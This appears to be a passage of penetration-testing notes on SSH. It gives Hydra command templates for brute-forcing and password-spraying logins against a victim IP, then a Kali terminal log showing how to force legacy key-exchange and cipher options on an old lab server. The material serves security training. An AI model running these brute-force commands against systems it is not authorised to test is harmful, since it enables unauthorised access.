Secure Shell (SSH)

The Secure Shell (SSH) protocol is a method for securely sending commands to a computer over an unsecured network. SSH uses cryptography to authenticate and encrypt connections between devices. SSH also allows for tunneling, or port forwarding, which is when data packets are able to cross networks that they would not otherwise be able to cross. SSH is often used for controlling servers remotely, for managing infrastructure, and for transferring files.

BruteForce

To brute force SSH, we use a tool called Hydra. An example command to bruteforce a single user is the following.

hydra -l <USER> -P <PASSWORD_LIST> ssh <VICTIM_IP>

We can also brute force both username and passwords using the following parameters.

hydra -L <USER_LIST> -P <PASSWORD_LIST> ssh <VICTIM_IP>

Also, if we know a valid password, but not the user it belongs to, we can do password spraying.

hydra -L <USER_LIST> -p <PASSWORD> ssh <VICTIM_IP>

No matching key exchange method found.

It is not common, but sometimes, when trying to connect to a SSH server, we will see a message like Unable to communicate with <IP> port <PORT>: no matching key exchange method found. .... This doesn’t directly mean that we can’t connect, we still can, but we have to add a certain parameter to our connection.

For example, let’s say the server only offers diffie-hellman-group1-sha1, then, our SSH command would look like the following:

ssh <IP> -oKexAlgorithms=+diffie-hellman-group1-sha1

Secondly, an error regarding the host key type might appear. We can mitigate it using the following command:

ssh <IP> -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa

Finally, it’s also possible that a third error pops out. This second error will be regarding the cipher. We will add another parameter. So, let’s say the SSH server accepts aes128-cbc as the cipher, we can tell our client to use it with the following command:

ssh <IP> -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c aes128-cbc

A full connection could look like this in a very old machine.

┌──(kali㉿kali)-[~]
└─$ ssh 172.16.35.128                                                                                       
Unable to negotiate with 172.16.35.128 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
                                                                                                                                                                                        
┌──(kali㉿kali)-[~]
└─$ ssh 172.16.35.128 -oKexAlgorithms=+diffie-hellman-group1-sha1                                           
Unable to negotiate with 172.16.35.128 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
                                                                                                                                                                                        
┌──(kali㉿kali)-[~]
└─$ ssh 172.16.35.128 -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa              
Unable to negotiate with 172.16.35.128 port 22: no matching cipher found. Their offer: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael128-cbc,rijndael192-cbc,rijndael256-cbc,rijndael-cbc@lysator.liu.se
                                                                                                                                                                                        
┌──(kali㉿kali)-[~]
└─$ ssh 172.16.35.128 -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c aes128-cbc
kali@172.16.35.128's password: 
Permission denied, please try again.
kali@172.16.35.128's password:

Server Message Protocol (SMB)